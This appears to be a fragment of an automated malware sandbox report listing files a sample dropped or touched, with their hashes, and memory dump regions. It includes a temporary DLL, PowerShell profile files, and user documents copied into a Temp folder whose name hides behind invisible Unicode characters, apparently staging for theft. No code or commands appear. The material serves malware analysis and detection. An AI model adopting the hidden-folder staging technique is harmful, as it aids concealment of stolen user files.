C:\Users\Admin\AppData\Local\Temp\k5rjk3al\k5rjk3al.dll

MD5 616834424245884b0a7a88ee9a31f1f4
SHA1 6ebca4815364269ce5c89e00ab2743280825c941
SHA256 5fdeffd54e02dad9af10053b6fb82ec1e3e6a761f969eb01c91dafa93b6cfd3d
SHA512 b4c32d30d526b6ff7fd4dc196e8a48a25a43be3ccf8c61284fbbea383e9f4d4464c8cef805ee08508d1784d58e9b2ee13fb1e5290460b05eb1ebdf43a5d5b593

memory/652-351-0x0000019F6DA30000-0x0000019F6DA38000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 12a7940621f19bcd31fbd804bd0b3de5
SHA1 1553f617702bdbe802da7570cddd8d07fac2109c
SHA256 638195ae5393ce5a137b4faa0382691f9f36d2fcb24545546f338e104538c743
SHA512 ab8da9e6ad6e732e41b25ff7c32e5d51336eb48ee934e97363bfdcb0cc99555930d89834715f7b40cf1c9ad248cf8ca7a209bd6c54cc23f8b2a61c9913a13316

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 3de7dfd15c46f7130d4fc1fa4770b295
SHA1 b677f2c050b0846f0b646a2dd3c3bf2e71bbcf02
SHA256 2b4f720648bd3c70c150286a116c66aa42bede7e9d0e8f160761bb3dc0bdf9e9
SHA512 b71a3cc929ec5769e5468b6b66d986a2d96c660b2e7073fc9ae6d2ca4e777d980fda1e69f9937bc77171c79090275fc7f5e0deaa7a13729bd00973f179127acb

memory/1392-371-0x00007FF94AF50000-0x00007FF94AF83000-memory.dmp

memory/1392-372-0x00007FF94ABB0000-0x00007FF94AC7D000-memory.dmp

memory/1392-373-0x00007FF93A480000-0x00007FF93A9A2000-memory.dmp

memory/1392-362-0x00007FF93A9B0000-0x00007FF93AF99000-memory.dmp

memory/1392-377-0x00007FF94D370000-0x00007FF94D393000-memory.dmp

memory/1392-376-0x00007FF949E90000-0x00007FF949FAC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6ff1b6a323df0ac98cea153daf4f4db2
SHA1 cdfe11ea6021c001d67ce244619f97e725540743
SHA256 dbca90e93c7353e3cb5741a66ecb9f20e00f6f222461d90dba69f439a4c68b54
SHA512 863850467f413491e346e3d07f791c79f4101d12d046e245ccf182d56d2f225da4205955b63a0f79485c12cb497e070dc0fab0fe8a70af23ac38d00e9f985475

memory/1392-369-0x00007FF94D350000-0x00007FF94D369000-memory.dmp

memory/1392-368-0x00007FF9498D0000-0x00007FF949A47000-memory.dmp

memory/1392-363-0x00007FF94D820000-0x00007FF94D843000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5e11468637da0822fd481be85b209180
SHA1 7ae2540de76ed0c76d3c823332affd62a5697493
SHA256 1dba27bc9660d5238367eacc7c69113cd81b49e7c5c85fc041212c951165380c
SHA512 90646f28fb01d7bc8d63ca6006783919a06ce5190e70e960b02dbd7e557f5088552cb262a7484f0df7294a5a6611aab968377ef208fdb2f201533f23d0708847

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a2b7325fe4a2b719cfd649077a2dc7b0
SHA1 ed8359377ff82d1638f9d93c36364b62e16eedbd
SHA256 451da78673d470d89ad012f15138d4c942fe91f517962237f78714f2ca9543c4
SHA512 dd148143e57f30b43e3f0ecb23bdbf9a3c9129637c29e6c1afd45090bf0db1a958cef20c27c93fcac47637daf340a75b070838e14f880978220f7f8b5282637d

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Desktop\CompleteExit.png

MD5 6e84211925fb83de98185fb5f07c38bd
SHA1 094c0f9957b943d32f4fd1f6def3cb55e4b62d39
SHA256 e5a35bda181eebed5c806b8be461da90ece48203459a2d0dfac09753efc691d9
SHA512 61b921630be0d65e6d8ebe230441b4a62d93f79b0469e691024c4ff4c31970d06267432ada38dc7b7c1327a3416d1daeb15c3e75c04f1336ea95fd51ca76052b

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Desktop\OpenPublish.docx

MD5 6b6581d7f21e59ca6e000768a9eab3eb
SHA1 ce06fa66a1375973a605f03410bec3cdd9c0833c
SHA256 07c6cccdc3134864d9ad6c6522238d7ffe15e7d526890b9b16e4d9c15d6e998d
SHA512 ad2990960e2bbaffbd23424a18a09a12fb86acb1d5c641c89a616aa081f657dd7f76b3182e63031f1ceb65b73bffcb6fdf331773b96f8d3c461698bc86fc7aa4

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\ApproveStart.pdf

MD5 6e063d074f9c692534ec837680aefa0c
SHA1 eb4a1edcb531a251cd22bbb6c47c0be42032633f
SHA256 1aef5d07eca25f9c9ed78b0178096eb92c482886bada6fb130f07a6e4210e967
SHA512 0e605af7d18781f83724a6145e37a1ed7540be4e357c88ec9ba77f54a6bad01bf74f0539ca7f4c8a3fc805754a5b96dd0283d09b1620f60201417f022716c3a2

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\Files.docx

MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\Opened.docx

MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\Recently.docx

MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\RegisterUnprotect.docx

MD5 09a248f080a0132874fe0beb6e319882
SHA1 2945e1e805e6a5db2c94048341b1c74e58974e32
SHA256 dbb148693418c5e53aefc35727f0103777ca9a0c157fb6fffd3e6450800cecaf
SHA512 692ff81e994fdbbda0b06ecd333bbf7b872abdfe2ebbdfa9ed71d5f564d576773c59bed8b61a02e76814ebf9bfe99227f84529a68ab6fcc8110804f0b7c5f132

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\TestMerge.doc

MD5 27c9890ee9569551a2d7043faa5938fa
SHA1 dd4dbe17d33a58f27566b17ad7185e3eb01cab79
SHA256 4315d493f64169442cc3b219204374a019a39b5ca68f63b0e8d3fcd2c6f9a8a6
SHA512 d009854f05aebed70fabbe8b72c2ac0cde7ca0da1cea6120e5111212e3e29fb26f077337100fed0ffb1254dc4c9ea94b8b7e20f3dd8148482df0d6ae386c2f8d

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Documents\These.docx

MD5 87cbab2a743fb7e0625cc332c9aac537
SHA1 50f858caa7f4ac3a93cf141a5d15b4edeb447ee7
SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
SHA512 6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Downloads\BackupRead.csv

MD5 5b3e6cb993c141686866dae0dd3c391c
SHA1 f0795b64efd7e149f42062be1e534bd272203054
SHA256 b6fcde1c4bb97dcff48b56adcf678fd8024fd3dda87a9dab559a5d4d1bed9244
SHA512 dcc9ed9e67a2c61bc09a952dba44ac408cd62f911ab841cbcb7e06ff5ee88fb0d974d9ca0efe39c7513d0ddc4dc840c895bc66fd0699145b6c8c01cfcd587ece

C:\Users\Admin\AppData\Local\Temp\‏  ‍ ‏  ‌ \Common Files\Downloads\RenameAssert.docx

MD5 bb18126dbd561ede5f5c8379034182f9
SHA1 a006b4b1ecb5293c4dd2d40160dd784d49df4350
SHA256 29a6b13619cc70d2598df5ae5085f5ee2308453b464b200071883af41f6fc455
SHA512 c449b128378762980097a8eb7f1be746f55a1a268431e2054fd34a723bc5255970cbec96ba9681f0d30ed8e2b22c73e9b91142023e55579d716b24419ae2de69

memory/1392-487-0x00007FF94D820000-0x00007FF94D843000-memory.dmp

memory/1392-484-0x00007FF93A9B0000-0x00007FF93AF99000-memory.dmp

memory/1392-492-0x00007FF9498D0000-0x00007FF949A47000-memory.dmp

memory/1392-539-0x00007FF94ABB0000-0x00007FF94AC7D000-memory.dmp

memory/1392-546-0x00007FF94DE90000-0x00007FF94DE9F000-memory.dmp

memory/1392-540-0x00007FF93A480000-0x00007FF93A9A2000-memory.dmp

memory/1392-545-0x00007FF94D820000-0x00007FF94D843000-memory.dmp

memory/1392-544-0x00007FF94AF50000-0x00007FF94AF83000-memory.dmp

memory/1392-543-0x00007FF949E90000-0x00007FF949FAC000-memory.dmp

memory/1392-542-0x00007FF94AF40000-0x00007FF94AF4D000-memory.dmp

memory/1392-541-0x00007FF94D330000-0x00007FF94D344000-memory.dmp

memory/1392-537-0x00007FF94DCD0000-0x00007FF94DCDD000-memory.dmp

memory/1392-535-0x00007FF9498D0000-0x00007FF949A47000-memory.dmp

memory/1392-534-0x00007FF94D370000-0x00007FF94D393000-memory.dmp

memory/1392-529-0x00007FF93A9B0000-0x00007FF93AF99000-memory.dmp

memory/1392-536-0x00007FF94D350000-0x00007FF94D369000-memory.dmp

memory/1392-533-0x00007FF94D760000-0x00007FF94D779000-memory.dmp

memory/1392-532-0x00007FF94D7F0000-0x00007FF94D81D000-memory.dmp